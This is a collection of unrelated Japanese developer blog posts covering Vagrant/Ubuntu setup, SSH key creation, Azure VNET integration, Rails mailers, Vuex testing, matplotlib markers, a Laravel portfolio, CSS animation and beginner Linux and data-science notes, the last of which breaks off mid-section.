MacにVirtualBoxとvagrantを入れてubuntuを新規インストールする

仮想環境の構築を何度も確認するのが面倒なので、最速で環境構築できるように要点だけを絞って書いていく。

##VirtualBox のインストール
Mac版のVirtualBox を[ VirtualBox 公式ページ](https://www.virtualbox.org/wiki/Download_Old_Builds_5_2)からダウンロードしてくる。
選ぶのが面倒なら[ここ](https://download.virtualbox.org/virtualbox/5.2.38/VirtualBox-5.2.38-136252-OSX.dmg)から直接インストールイメージをダウンロード。
イメージをマウントしてインストーラーからインストール。

##Vagrant のインストール
Vagrantの安定版を[ここ](https://releases.hashicorp.com/vagrant/2.2.6/vagrant_2.2.6_x86_64.dmg)からインストールイメージをダウンロード。
イメージをマウントしてインストーラーからインストール。

##ubuntuのインストール
コンソールを立ち上げて以下を順番に打ち込んでいく。

```ruby:qiita.rb
$ mkdir -p ~/vagrant/ubuntu64_18 //インストール用のフォルダを作成する
$ cd ~/vagrant/ubuntu64_18 //作成したフォルダに移動する
$ vagrant box add ubuntu/bionic64 --box-version 20181129.0.0 //vagrantをインストールする
$ vagrant init ubuntu/bionic64 //仮想マシンの設定ファイルを作成する
$ vagrant up //起動できるか確認及びvagrant仮想環境を起動
```

最終的に「Machine booted and ready!」が表示されていれば、vagrantの仮想環境の起動確認完了です。
##ubuntuの日本語化
Vagrant仮想環境が起動した状態から以下を入力していきます。

```ruby:qiita.rb
$ vagrant ssh //ubuntuにssh接続する
$ sudo locale-gen ja_JP.UTF-8 //日本語環境を作成する
$ echo export LANG=ja_JP.UTF-8 >> ~/.profile //起動時に日本語環境で起動する
$ source ~/.profile //設定内容を適用する
$ sudo timedatectl set-timezone Asia/Tokyo //日本標準時に設定する
$ exit //ubuntuを終了する
$ vagrant halt //vagrant、仮想環境を終了する
```

##終わりに
開始方法と終了方法を忘れてはいけない。
vagrantを立ち上げてubuntuにssh接続する。

```ruby:qiita.rb
$ vagrant up
$ vagrant ssh
```

ubuntuのssh接続を切って、vagrantを終了する。

```ruby:qiita.rb
$ exit
$ vagrant halt
```

これがわかればなんとかなる。
SSH鍵を作るときのメモ

# クライアントで秘密鍵生成

最近話題のed25519を使います。ed25519は256bitでビット幅固定です。

```
ssh-keygen -t ed25519 -C "who am i" -f ~/.ssh/id_ed25519_hostname
```

`-C`でコメントをつけます。`who am i`はクライアントのホスト名にすると、サーバ側で公開鍵を整理するときに便利だと思います。

`-f`でファイル名を指定できます。`id_ed25519_hostname`を指定すると、秘密鍵として`id_ed25519_hostname`、公開鍵として`id_ed25519_hostname.pub`が生成されます。

# サーバに公開鍵を登録

公開鍵をサーバに登録するにも、パーミッションの設定で手間取るときがあります。
コマンドでサクッと登録しましょう。

```
ssh-copy-id -i ~/.ssh/id_ed25519_hostname.pub username@hostname
```

`-i`で公開鍵を指定できます。

`username@hostname`で、公開鍵を登録するサーバのユーザ名とホスト名を指定します。
Azure SQL Managed InstanceにApp ServiceからVNET統合でアクセスしてみる

※本記事は2020年3月15日時点での情報を元に記載されています。

#はじめに
Azure App Service(Windows)のVNET統合が先日ようやくGAされました。
参照1: https://azure.github.io/AppService/2020/02/27/General-Availability-of-VNet-Integration-with-Windows-Web-Apps.html

今回はAzure App Service Web AppからAzure SQL Managed Instance(MI)にVNET統合を使ってアクセスしてみた際の検証結果をまとめます。アーキテクチャは以下のような形です。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/267543/c4b1137b-89a5-c602-e60a-b107bbecc151.png)

※VNET統合には、"リージョンVNET統合"と"ゲートウェイが必要なVNET統合"の2種類ありますが、本記事では"リージョンVNET統合"を用いています。全てのAzureリソースは同じリージョン内にデプロイされています。
参照2: https://docs.microsoft.com/ja-jp/azure/app-service/web-sites-integrate-with-vnet

#構築手順
構築手順は下記の通りです。本記事では細かい作成方法などは省略しますが、普段Azureを触られている方からすると非常に簡単な手順かと思います。

1.Azure SQL Managed Instanceを作成する
2.Azure Web App(Standard SKU以上)を作成する
3.Dedicated SubnetをSQL MIのVNET内に作成する
4.VNET統合を設定する

#検証結果1: Azure VMからのアクセス
MIと同じVNET内に作成したAzure VMからアクセスしてみます。SSMSにログインし、接続することができました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/267543/0db62e35-15a3-2599-8e14-793022bc96b1.png)

#検証結果2: Azure Web Appからのアクセス
作成したWeb AppでVNET統合を構成します。統合先はSQL MIがデプロイされているVNET内に作成した、DedicatedのSubnetです。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/267543/8905f25c-9c9f-1632-f70d-f78e64ff52e5.png)


VNET統合を構成したWeb AppからSQL MIにアクセスしています。tcppingを用いて検証したところ、導通していることを確認できました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/267543/a18fa7db-b333-1135-e6c5-e8faac614834.png)

SQL MIのパブリックエンドポイントは無効になっているため、プライベート通信ができていることが分かります。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/267543/830bfa83-624e-c887-25f8-9499fd1d8d0d.png)

App Serviceのスケールアウトを行っても接続に問題は見られませんでした。

#検証結果3(おまけ): Webジョブの実行
Web AppにWebジョブを展開し、実行してみます。このWebジョブでは、VNET統合で接続されたSQL MIに対してSQLを投げています。VNET統合を設定していてもWebジョブが問題なく動作することを確認できました。
Webジョブサンプル: https://blog.engineer-memo.com/2015/10/27/web-apps-%E3%81%AE-web-%E3%82%B8%E3%83%A7%E3%83%96%E3%82%92%E4%BD%BF%E7%94%A8%E3%81%97%E3%81%9F%E5%AE%9A%E6%9C%9F%E7%9A%84%E3%81%AA-sql-%E3%81%AE%E5%AE%9F%E8%A1%8C/

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/267543/4d713995-f340-f5d0-854a-bc32d89d4f58.png)

#さいごに
App Service(Windows)のVNET統合がGAされたことにより、PaaSの世界とIaaS/オンプレミスの世界が縮まり、できることの幅が更に広がりました。これまでApp Service Environment(ASE)を使わなければならなかった構成も、VNET統合を使えば利用コストを大幅に下げることができます。Linux版のGAも楽しみですね！
Railsチュートリアルメモ - 第11章

[メモの目次記事はこちら](https://qiita.com/yokohama4580/items/dedfd5510080273dc2a0)

[公式Railsチュートリアル第11章へのリンク](https://railstutorial.jp/chapters/account_activation?version=5.1#cha-account_activation)

## サマリ
- メールの送信とアカウント有効化機能の実装
- メタプログラミング
- SendGridを利用した本番環境でのメール送信

## ポイント
-  `rails generate mailer`でメーラーの雛形を作成できる
    -  e.g. `rails generate mailer UserMailer account_activation password_reset`
    -  生成されるHTML/textメーラーのレイアウトは`app/views/layouts`で定義されている
-  コントローラー同様、メーラーの中で作成したインスタンス変数はテンプレートの中で使用することができる
-  送信先やメールタイトルなどは`mail`メソッドで指定する
    -  e.g. `mail to:hoge@sample.com`
-  `deliver_now`メソッドを呼び出すことでメールを送信する
    -  e.g. `UserMailer.account_activation(@user).deliver_now`
-  名前付きroot
    - 名前付きrootの第一引数は:idになりBase64でエンコードされてURLが生成される
    - 第二引数としてハッシュを渡すとURLパラメーターにしてURLを生成してくれる。その際にエスケープも行ってくれる。
    - 名前付きrootの引数として指定されたものはコントローラー内で`params[:引数]`でデコードされた状態で取り出すことができる
- 以下を行うとメールのプレビューが有効になる
    - `config/environments/development.rb`に以下を追記する
    - `test/mailers/previews/user_mailer_preview.rb`を修正する
    - プレビューURLは`https://localhost:3000/rails/mailers/user_mailer/`

```ruby
  config.action_mailer.raise_delivery_errors = true
  config.action_mailer.delivery_method = :test
  host = 'localhost:3000'
  config.action_mailer.default_url_options = { host: host, protocol: 'https' }
```
- `assert_match`で正規表現を利用してassertできる

- `send`メソッドは引数を評価してから実行するので、メタプログラミング（プログラムによるコードの生成）を行う際に利用される
e.g. 

```ruby
 attribute = "foobar"
 user.send("#{attribute}_digest")
 # => user.foobar_digestが実行される
```
- テストの中でのみ`assigns`メソッドを使うと対応するアクション内のインスタンス変数にアクセスできるようになる
    - e.g. `user = assigns(:user)` => `@userにアクセス可能になる`

- `heroku addons:create sendgrid:starter`でherokuにsendgridを導入できる

## 感想、詰まった箇所など
- `config/environments/development.rb`を書き換えた後にサーバーの再起動を行わなかったせいで`Missing host to link to! Please provide the :host parameter,...`というエラーが出てしまい少し詰まった。
- herokuにSendGridを追加した後、画面からユーザー登録を行うとメールが飛ばずに`We're sorry, but something went wrong.`というエラー画面が表示された。ログを確認したところ`Net::SMTPAuthenticationError (535 Authentication failed: account disabled`となっていた。
- 原因分からず解消しなかったため、herokuの画面からSendGridを「Delete Add-on」した後、再度SendGrid追加しようとしたところ`Error Provisioning User - User status - banned`と表示されてしまった。
- herokuアプリ自体を再作成してからsendgridを再追加することで解消した。
Mac 特定のウインドウのキャプチャを撮影する方法

# 目的

- 特定のウインドウのみのキャプチャの作成方法をまとめる

# 実施方法

1. キャプチャを撮影したいウインドウを表示する。
1. 「command」 + 「shift」 + 「4」を同時に押下する。
1. 「スペースキー」を押下する。
1. キャプチャを撮影したいウインドウをクリックする。
Unity2019 + mac + VisualStudioCodeで、補完が効かなくなった時の対処メモ

## 環境
* mac OS 10.15.1
* Unity2019 2.12f1 (.Net4)
* Visual Studio Code 1.43.0


Visual Studio Codeを使っていて、補完が効かなくなり、
下記エラーに遭遇、以前に設定した解決したけど、忘れてしまったので自分用に再度メモ。

```
OmniSharp.MSBuild.ProjectLoader
        The reference assemblies for .NETFramework,Version=v4.7.1 were not found. To resolve this, install the Developer Pack (SDK/Targeting Pack) for this framework version or retarget your application. You can download .NET Framework Developer Packs at https://aka.ms/msbuild/developerpacks
```

https://aka.ms/msbuild/developerpacks
エラーを参考にこのリンクをたどっていってもmac用のそれらしいファイルが見当たらず、
windows用はあった、またVisualStudioならできるような情報もあったが、VSCodeのみで
完結したかったので参考になったので下記記事！

https://qiita.com/kyasbal_1994/items/ecf19a3feb60a12a61f9
m(_ _)mありがたや

## 手順メモ

### 1. まず下記extensionがVSCodeに入っている前提
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/37406/c4b61fca-228e-b435-d139-4f48e7b3ed43.png)

### 2. ターミナルで、monoを入れておく。

```terminal
$ brew install mono
```
※状況のおおじて、最新版を入れておくといいかも→ ```brew upgrade mono```

### 3. VSCodeのユーザー設定ファイルのsetting.jsonに下記monoの設定を記入

コマンドパレット(Cmd+Shift+P)で、「setting json」などで検索

```json:setting.json
{
    〜省略〜
    "omnisharp.useGlobalMono": "always",
    "omnisharp.monoPath": "/usr/local/Cellar/mono/6.8.0.105"
}
```

※```/usr/local/Cellar/mono/6.8.0.105```は、monoインストール時のパスを入力する

何かが原因でmonoがアップデートされてしまったらこのパスのバージョンも書き換える必要あり、
下記monoフォルダ内にバージョン番号名のフォルダがあるのでそこで確認する。

```
$ open /usr/local/Cellar/mono/6.8.0.123/
```

あとは、VSCode再起動で改善した！

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/37406/aa8f8acf-322d-993b-8005-925dcf05a3e8.png)
AI学習の備忘録＃３

前回の記事からかなりの日数が経ってしまった。この間の学習内容を簡単に書いておきたい。

正直この間、AI学習からは離れていた。

というのも、、、、
とあるTwitterアカウントに影響されDjangoの学習をしていた。

元々、Udemyの大橋さんの動画　↓
https://www.udemy.com/course/django-3app/

を見てさわりだけ学習していたことやそのアカウントの人に色々聞くとDjnagoには需要があり、インスタやYouTubeもそれで作られている、自分はそれを教えるし、案件紹介も行うと言われた。当時（現在も）、プログラミングで副業がしたいと思っていたので、すぐに５万円を払い学習を始めた。

学習自体は難なくこなせて（多少サボりもあり時間はかかったが）終了した。が、ひと月近く経つのにいまだに案件の話が来ない泣

一応、大橋さんのUdemy動画の内容も少し進め（Todoアプリの完成まで)、Djangoからはいったん離れることにした。

まあDevOps領域で少しは役に立つかもとは思っている。（AIエンジニアやデータサイエンティストとして働いている人はDjangoを使うことはあるのだろうか？よければ教えてください。）

こんな感じであった。

で、現在、AI学習を再開したわけである。

またこの期間、目指すべき方向性もある程度は見えてきた。

現在私は化学メーカーで派遣エンジニアとして働いている。
業務内容はプラスチックを作るのに必要な触媒、それに必要とされる材料の研究開発業務だ。

現在、化学業界でもようやく、というかAIを活用するようになってきた。
マテリアルズ・インフォマティクス（略してMI）、という名前でAIを活用し素材開発のスピードを飛躍的に向上させるというものだ。
旭化成、三井化学、三菱ケミカルHDなどなど日本を代表する大手がこぞって始めた。
（量子コンピューターも導入している企業もあるらしい）

で、現在、私が勤めている派遣元（派遣元には正社員で雇用されている）では、データサイエンティストの育成を進めるプロジェクトが始まり、すでに研修には大勢の人間が参加している。

こういう流れからデータサイエンティストを目指し、そのスキルを活かして化学業界で仕事をしたいと考えている。

データサイエンティストには「ドメイン知識」なるものが必要と、派遣元の上司から言われた。
それは特定の業界、職種に関する経験に基づく知識で、これはデータサイエンスのように独学で学べるものではなく、そこで仕事をしなければ身につかないものである。
要は今までの仕事の経験とデータサイエンスのスキルを組み合わせれば市場価値の高い人材として仕事ができるわけである。

そんな感じで自分が目指すべき方向性が定まり、より学習への意欲が高まったので今後も継続していく所存である。

現在の学習内容
１．教師なし学習を使ったデータ前処理　PCA, NMFを使った特徴量抽出
２．「米国データサイエンティスト」かめさんのブログを見ながらNumpy, Pandasの学習
３． Udemy 大橋さんのデータサイエンス２５時間ブートキャンプ動画視聴
４．Progate SQL学習

＃直接関係しないがTOEIC学習も進めてる。目標は７００以上
OS と　Linux ディストリビューション

インフラを学ぶにあたり重要となってくるOSや
Linux ディストリビューションについて投稿しようと思います。

# OSとは
オペレーティングシステム（Operating System, OS）のこと
直訳すると「動作システム」となります。

キーボードの操作、マウスの挙動、イヤホンの音声などなどハードについてや
入出力、タスク管理、ファイル管理などのソフトについてなど
基本機能のシステムにあたります。



# OSの種類
代表的なOSは下記のようなものがあり

具体的な派生としては
バージョン違いのwindows10やvista
後述する。機能性別のlinuxディストリビューションなどあります。

* Windows
* Mac OS
* iOS
* Linux
* Android

##  Windows
Microsoft社が開発したOSです。パソコンで使用されているOSの中では
世界で最もユーザーが多いOSです。

##  Mac OS
Apple社が作ったOSです。銀色ボディが特徴的なパソコンにインストールされています。
なめらか操作のタッチパッドや、シンプルさで、人気があります。

##  iOS
Apple社がMac OSを携帯端末用に改良して作ったOSです。
iPhoneやiPadなどにインストールされています。

##  Linux
WindowsやMacが有料なのに対して、Linuxは無料で使えます。
Linuxには、誰でも自由に改良できるという特徴もあります。

##  Android
Google社がLinuxを携帯端末用に改良して作ったOSです。
Xperia、Galaxyなどのスマートフォンやタブレットに入っています。

# Linux
Linuxは、主にサーバー用として使うOSです。
以下のようなIT技術者向けです。

* OS開発
* 大規模基幹システムの開発,運用
* Iotなどのロボット、家電の組み込み系エンジニア
* ネットワーク機器やデータベースに関わるインフラ従事者

原本となるのがカーネルで、企業などが改造したのがディストリビューションになります。

# Linuxカーネル
Linuxの原本となるのがLinuxカーネル
リーナス・トーバルズ氏が開発したLinux。


# Linuxディストリビューション
Linuxカーネルを企業などが改造したもの
Linuxカーネルと区別するための呼称。

ディストリビューションとは分布とか流通とかいう意味で
Linux関連で使うときには「種類」にあたります。

Linuxはオープンソースなので進化(改造)の過程で、様々な分布元(企業など)から
様々な種類のLinuxができています。

ちなみに、これを提供する人を「ディストリビューター」と呼びます。

# Linuxディストリビューション代表3系列

## RedHat系
商業ディストリビューションの代表格

管理を楽にするツール提供に率先的であったり、メーカーによる独自のドライバなども
rpm形式で配布していることが多い。

入門者はまずRedHat系をたしなむ方が仕事につながりやすい。

## Debian系
Debianはパッケージ管理が非常に優秀なディストリビューションである。
パッケージはdeb形式を採用し管理の為のフロントエンドapt系のコマンドを使用する。
aptによりパッケージ依存関係を迅速かつ的確に解決してくれる。

## Slackware系
なによりも「シンプル」というのが特長だ。
上記の２種のディストリビューションと違いパッケージ管理において
パッケージ間の依存関係の解決をおこなわない。

# Linuxディストリビューション簡易一覧

## RedHatEnterpriseLinux(Redhat系)
業界のデファクトスタンダードであり、最も成功した商業ディストリビューション
非常に高価。

## CentOS(Redhat系)
RedHatEnterpriseLinuxの商標などを徹底的に除去し、リビルドした
クローン代表的な存在としてCentOSがある。

基本的に商用でも無料で使える。

## Fedora(Redhat系)
RedHat社が支援するコミュニティーベースのディストリビューション
RedHat社の実験場とも言える。

リリースが非常に早く、ライフサイクルが短い、RedHat社が関与する重要技術は
まずFedoraに導入され、実証と完成を得たのがRedHatEnterpriseLinuxへと反映される。

## Debian(Debian系)
Linuxの世界でも最も組織的でありフリーであることを尊重しているディストリビューション
組織規模も最大級であり、パッケージ管理ツールが非常に優秀

## Ubuntu(Debian系)
最もユーザに優しいディストリビューション
通常版とロングサポート版、デスクトップ用途とサーバ用途をある程度わけて開発しているのも特徴

## Slackware(Slackware系)
老舗ディストリビューション
「シンプルで見通しがよい」のが特徴

## GentooLinux(その他ソースベース)
最も難易度が高いディストリビューション
ローリングリリースという形式をとっており随時新しいパッケージが導入されるようになっている。

公式ハンドブックを片手に一からベースシステムを手動でインストールすることになる。
パッケージ管理はソースコードから半自動でコンパイルするようになっている。

## ArchLinux(その他ソースベース)
「シンプル」を念頭において開発されているディストリビューションである。
開発者側からみたシンプルさであり、余計なGUIフロントエンドや過度な独自化を避けることを意味している。

GentooLinuxと決定的に違うのは「バイナリパッケージが提供される」という点である。
これによりユーザは迅速に自分好みの環境を構築することが可能となっている。

## LinuxFromScratch(LFS) (その他ソースベース)
「自分で全てを管理したい!!」というユーザのいきつく果ては「LinuxFromScratch」である。
その名のとおりベースシステムからなにから全てを自分でコンパイルし環境を構築するのである。
toHaveBeenCalledWithを使った ...mapActions()の引数付きテスト

# コンポーネントでのVuexのテスト

Vuexを使用した際に、Vueコンポーネント上でVuexのactionなどが正常に呼び出されたかどうかテストしたい場合があります。

```js
methods: {
  setInitialYear() {
    //setYearが正常に呼び出されているかテストしたい
    this.setYear(initialYear);
  },
  ...mapActions("events", ["setYear"])
}

```

呼び出されたかどうかだけを調べる場合は、テスト上でコンポーネントを作成する時に、モックしたストアをlocalVueに渡すことで検証が可能です。

参考： [Vuex と一緒に使用する](https://vue-test-utils.vuejs.org/ja/guides/using-with-vuex.html)

```js
import { mount, createLocalVue } from "@vue/test-utils";
import Vuex from "vuex";
import Id from "@/pages/_id.vue";

const localVue = createLocalVue();
localVue.use(Vuex);

let store;
let events;

const idFactory = () => {
  events = {
    namespaced: true,
    actions: {
      setYear: jest.fn()
    },
  };
  store = new Vuex.Store({
    modules: {
      events
    }
  });

  return mount(Id, {
    store,
    localVue
  });
};

describe("_id.vue", () => {
  it("setInitialYearを呼んだ際にsetYearが呼ばれる", () => {
    const wrapper = idFactory();
    wrapper.vm.setInitialYear();
    //名前空間.actions.メソッド名で、storeのモックを呼び出せる
    expect(events.actions.setYear).toHaveBeenCalled();
  });
});

```

しかし、ここはsetYear()が呼び出されているかどうかだけでなく、正しい引数が渡されているかどうかも確認したいところです。

モックしたsetYearが正しい引数を与えられて呼び出されたかどうかを確認するには[toHaveBeenCalledWith()](https://jestjs.io/docs/ja/expect#tohavebeencalledwitharg1-arg2-)を使用します。


```js

describe("_id.vue", () => {
  it("setInitialYearを呼んだ際にsetYearが呼ばれる", () => {
    const wrapper = idFactory();
    wrapper.vm.setInitialYear();
    //toHaveBeenCalledWithに変更
    expect(events.actions.setYear).toHaveBeenCalledWith(
      expect.any(Object),
      "2019",
      undefined
    );
  });
});
```
toHaveBeenCalledWith()の第一引数には`expect.any(Object)`、第二引数に`setYear()`に渡している引数、第三引数には`undefined`を設定します。

第一引数の[expect.any()](https://jestjs.io/docs/ja/expect#expectanyconstructor)は、引数内で指定したコンストラクタで生成されたものすべてに一致します。つまり、Objectクラスのオブジェクトならマッチします。


わざとテストを失敗させると、第一引数には[contextオブジェクト](https://vuex.vuejs.org/ja/api/#mutations)が入っていることがわかりました。


```bash
 {"commit": [Function anonymous], "dispatch": [Function anonymous], "getters": {}, "rootGetters": {}, "rootState": {"instructions": {}, "users": {}}, "state": {}}
```

ただ、ここでどうして第一引数にcontextオブジェクトが入り、第三引数にundefinedが入るのか分かりませんでした。どなたかアドバイスをいただけると嬉しいです。


参考: [Update examples with module namespace and add unit tests](https://github.com/vuejs/vuex/issues/569)
matplotlibで特定のデータにだけマーカーを適用する方法


#はじめに
[雑誌の掲載順をグラフ化するとき](https://seigenkousya.github.io/post/kirara_order_2020/)に、matplotlibで特定の項目にだけマーカー（グラフに打つ点）をつけたくなった（センターカラーのときにだけわかりやすいように目印をつけたかった）が、探しても全く出てこなかったのでメモ。
![max_2020.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/332794/137da981-190f-4ff5-291f-3301a27bb9f7.png)
↑こんな感じで強調するために特定の値の時だけマーカーを適用したかった。

#環境
```
$ uname -a                                                                                                                              
Linux kali 4.18.0-kali2-amd64 #1 SMP Debian 4.18.10-2kali1 (2018-10-09) x86_64 GNU/Linux

$ python3 --version                                                                                                                             
Python 3.7.6

$ pip3 show matplotlib                                                                                                                         
Name: matplotlib
Version: 3.1.2
```
#問題
例えば、以下のようなデータがあったとする。

|month|1月|2月|3月|4月|5月|6月|7月|8月|9月|10月|11月|12月|
|:-:|:-:|:-:|:-:|:-:|:-:|:-:|:-:|:-:|:-:|:-:|:-:|:-:|:-:|
|data|13|15|21|5|10|18|21|17|15|16|21|13|

これらをグラフにするとこうなる。
![before.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/332794/3312de61-b11e-27af-75ec-ecc7a347cdfe.png)

このグラフの1,4,7,10月のデータにだけダイヤモンドでマーカーを付けたい（その他には付けたくない）ときどうすればいいだろうか。

#解決法
マーカーを付けたい部分だけを配列にしてプロットするときに```markevery=```で渡す。
X番目にマーカーを付けたければX-1番目の数を配列に追加する。


こんな感じ。

```python
#!/usr/bin/env python 
import matplotlib.pyplot as plt
 
X_data=[1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12]
Y_data=[13,15,21,5,10,18,21,17,15,16,21,13]
month_name=['Jan.','Feb.','Mar.','Apr.','May','Jun.','Jul.','Aug.','Sep.','Oct.','Nov.','Dec.']
mark_point=[0,3,6,9]

plt.xlabel('month')
plt.ylabel('data')

plt.grid(color='gray')
plt.xticks(X_data,month_name)
plt.yticks(range(1,max(Y_data)+1))
plt.plot(X_data,Y_data, '.', linestyle='solid', marker="D", markevery=mark_point)
plt.show()
```
>結果
![markeevery1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/332794/f510793f-c282-a5d7-9e63-aa595a089571.png)

y軸のデータを基準にしたければ、先にデータを比較して配列に格納すれば良い。
例）データが奇数のときだけマーカーを適応する

```python
#!/usr/bin/env python 
import matplotlib.pyplot as plt
 
X_data=[1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12]
Y_data=[13,15,21,5,10,18,21,17,15,16,21,13]
month_name=['Jan.','Feb.','Mar.','Apr.','May','Jun.','Jul.','Aug.','Sep.','Oct.','Nov.','Dec.']
mark_point=[]

for i,data in enumerate(Y_data):
    if data%2:
        mark_point.append(i)

plt.xlabel('month')
plt.ylabel('data')

plt.grid(color='gray')
plt.xticks(X_data,month_name)
plt.yticks(range(1,max(Y_data)+1))
plt.plot(X_data,Y_data, '.', linestyle='solid', marker="D", markevery=mark_point)
plt.show()
```
> 結果
![markeevery2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/332794/f45b37cb-eec5-96c4-6b4d-89a766d9a769.png)



一件落着。
#参考文献
[Markevery Demo — Matplotlib 3.1.2 documentation](https://matplotlib.org/3.1.1/gallery/lines_bars_and_markers/markevery_demo.html)
Laravelでクラフトビールまとめサイト作ってみた。(ポートフォリオ) 

<h2>はじめに</h2>
プログラミング学習を初めて4か月がたちました。

最近、といってもかれこれ1か月弱前ですが、Laravelでのポートフォリオ作成を終えました。

せっかくなので、この記事で紹介させていただこうと思います。
<h2>CRAFTBERRS～アプリ紹介～</h2>
こんな感じのビールまとめサイトになっております。<br><br>

・トップページ

<img class="alignnone size-large wp-image-392" src="https://chobimusic.com/wp-content/uploads/2020/03/aa-1024x707.jpg" alt="" width="728" height="503" />

・レビュー投稿ページ

<img class="alignnone wp-image-382" src="https://chobimusic.com/wp-content/uploads/2020/03/b.jpg" alt="" width="723" height="682" />

・レビュー詳細ページ

<img class="alignnone wp-image-383" src="https://chobimusic.com/wp-content/uploads/2020/03/c.jpg" alt="" width="722" height="715" />

・レビュー編集ページ

<img class="alignnone wp-image-384" src="https://chobimusic.com/wp-content/uploads/2020/03/d.jpg" alt="" width="721" height="694" />

・プロフィールページ

<img class="alignnone wp-image-385" src="https://chobimusic.com/wp-content/uploads/2020/03/e.jpg" alt="" width="729" height="641" />

・ユーザー一覧ページ(プロフィール画像のアップロード機能は未実装)

<img class="alignnone size-full wp-image-386" src="https://chobimusic.com/wp-content/uploads/2020/03/f.jpg" alt="" width="607" height="415" />

・検索機能(これはIPAで絞り込んだケース)

<img class="alignnone size-full wp-image-390" src="https://chobimusic.com/wp-content/uploads/2020/03/g-1.jpg" alt="" width="872" height="323" />

・エラーページ

<img class="alignnone size-full wp-image-388" src="https://chobimusic.com/wp-content/uploads/2020/03/gg.jpg" alt="" width="508" height="177" />

・一応レスポンシブ対応

<img class="alignnone size-full wp-image-389" src="https://chobimusic.com/wp-content/uploads/2020/03/r.jpg" alt="" width="372" height="661" />

以下がリンクになります。

<a href="https://craftbeers.site/">https://craftbeers.site/</a>

ログインは以下でできます◎
メールアドレス：guest@example.com
パスワード：guestuser

<h2>作り終えた所感</h2>
細かいこと上げればキリがなく、改善できる部分も、本当であればユーザー編集機能や並び替え機能など実装したい機能もまだまだあります。

ただ、デプロイでひと段落させてしまったのがよくなかった。

やっぱり誰にも使われないサービスに時間割いても。。。って考えが付きまとってあまり改修する気にもならなくなってしまいました。泣

あと実は、Xserverにデプロイしているのですが、ローカル環境だとアクセスできるのに、本番環境だと編集・削除のページに飛べず、現状はエラーページにリダイレクトされてしまいます。ここら辺も未だに原因が正直掴めておらず。

教本や学習サイトでも、これ以上に踏み込んだ内容の教材が少なく、なかなか苦戦している状態です。<del>(言い訳すみません。)</del>

(英語での公式ドキュメントや動画学習などで、スキルアップしながら改修していくのがいいんだろうなとは思っています。)
<h2>おわりに</h2>
なんかネガティブな所感になってしまいましたが、とはいえ、LaravelでオリジナルのWebアプリを自作&amp;デプロイまで持って行けたことは1つ自信に繋がりました。<br><br>

今後は、引き続きLaravelの学習からのVue.jsなどのフロンドエンドフレームワークとの連携、またPythonでのデータ分析にも興味があるため、そっち方面の学習もしてみようかなと思っています。<del>(高校・大学と音楽一筋でまともに英語や数学の勉強をしてこなかったことを今になって後悔してます。目指せ人生大逆転。笑)</del>

あとは、誰かと共同してWebアプリ開発をしてみたいなとか妄想してます。求む同志！！笑
(実際、転職活動なり共同制作できたら未経験エンジニアにとって有利に働くんじゃないかなって思ってるので気になった方いましたらTwitterなりでご連絡ください(土下座)。そうじゃなくてもプログラミングスクール通ったりしたわけでもないので、エンジニア界隈の繋がりも少なく、気軽にお声がけいただけますと幸いです。泣いて喜びます(土下座)。)

拙い記事でしたが、読んでいただきましてありがとうございました。おしまい。

<h2>追記</h2>
このポートフォリオの参考にした教材は以下です。
TechPitはポートフォリオ制作にもってこいの学習サイトで、僕も愛用しております。ありがとうございました！！
<p class="course-title course-small">Laravel6とAWSで作るブックレビューサイト
<a href="https://www.techpit.jp/p/laravel6-aws">https://www.techpit.jp/p/laravel6-aws</a></p>
Techpit(学び放題コースだと月額2980円でいろいろ作れちゃいます◎)
<a href="https://www.techpit.jp/courses/">https://www.techpit.jp/courses/</a>
【CSS】文字のアニメーション

### udemy動画内容の備忘録です。
**左から順に文字が表示されるようなアニメーションです。**
- timing-functionでそれぞれの文字のアニメーション発動をずらします。
- 別ファイルである_mixin.scssを@importを使って呼び出します。

```html:index.html
    <div id="container">
        <div class="animate-title inview">
            <span class="char">A</span>
            <span class="char">N</span>
            <span class="char">I</span>
            <span class="char">M</span>
            <span class="char">A</span>
            <span class="char">T</span>
            <span class="char">I</span>
            <span class="char">O</span>
            <span class="char">N</span>
        </div>
        <button onclick="document.querySelector('.animate-title').classList.toggle('inview');">Animation</button>
    </div>
```

```scss:style.scss
@import 'mixin';

body {
  margin: 0;
}

#container {
  position: relative;
  height: 100vh;
  background-color: teal;
}
.animate-title {
  position: absolute;
  top: 50%;
  left: 50%;
  transform: translate(-50%, -50%);
  color: #fff;
  opacity: 0;
  font-size: 2em;

  &.inview {
    opacity: 1;

    & .char {
      display: inline-block;

      @include animation(
        $name: kf-animate-chars,
        $duration: 0.5s,
        $timing-function: cubic-bazier(0.39, 1.57, 0.58, 1),
        $fill-mode: both
      );

      @for $i from 1 through 9 {
        &:nth-child(#{$i}) {
          animation-delay: $i * 0.04s;
        }
      }
    }
  }
}

@keyframes kf-animate-chars {
  0% {
    opacity: 0;
    transform: translateY(-50%);
  }

  100% {
    opacity: 1;
    transform: translateY(0);
  }
}
```

```scss:_mixin.scss
@mixin animation(
  $name,
  $duration: 1s,
  $timing-function: ease,
  $delay: 0s,
  $iteration-count: 1,
  $direction: normal,
  $fill-mode: forwards
) {
  animation: {
    name: $name;
    duration: $duration;
    timing-function: $timing-function;
    delay: $delay;
    iteration-count: $iteration-count;
    direction: $direction;
    fill-mode: $fill-mode;
  }
}

```
説明変数、目的関数の作り方

#目的関数の書き方
dfが

- PassengerID (乗客のID)
- Survived (trainデータだけ)
- Pclass (部屋のクラス)
- Name
- Sex
- Age
- SibSp
- Parch
- Ticket
- Fare
- Cabin (客室を持っていたか)
- Embarked　(どこの港で乗ったか)

このような項目を持っていた時に
##説明変数は

~~~python
x=df[["項目名1","項目名2","項目名3","項目名4"]]
~~~
というように、自分選びたい項目を[["項目"]]のように追加します。

##目的関数
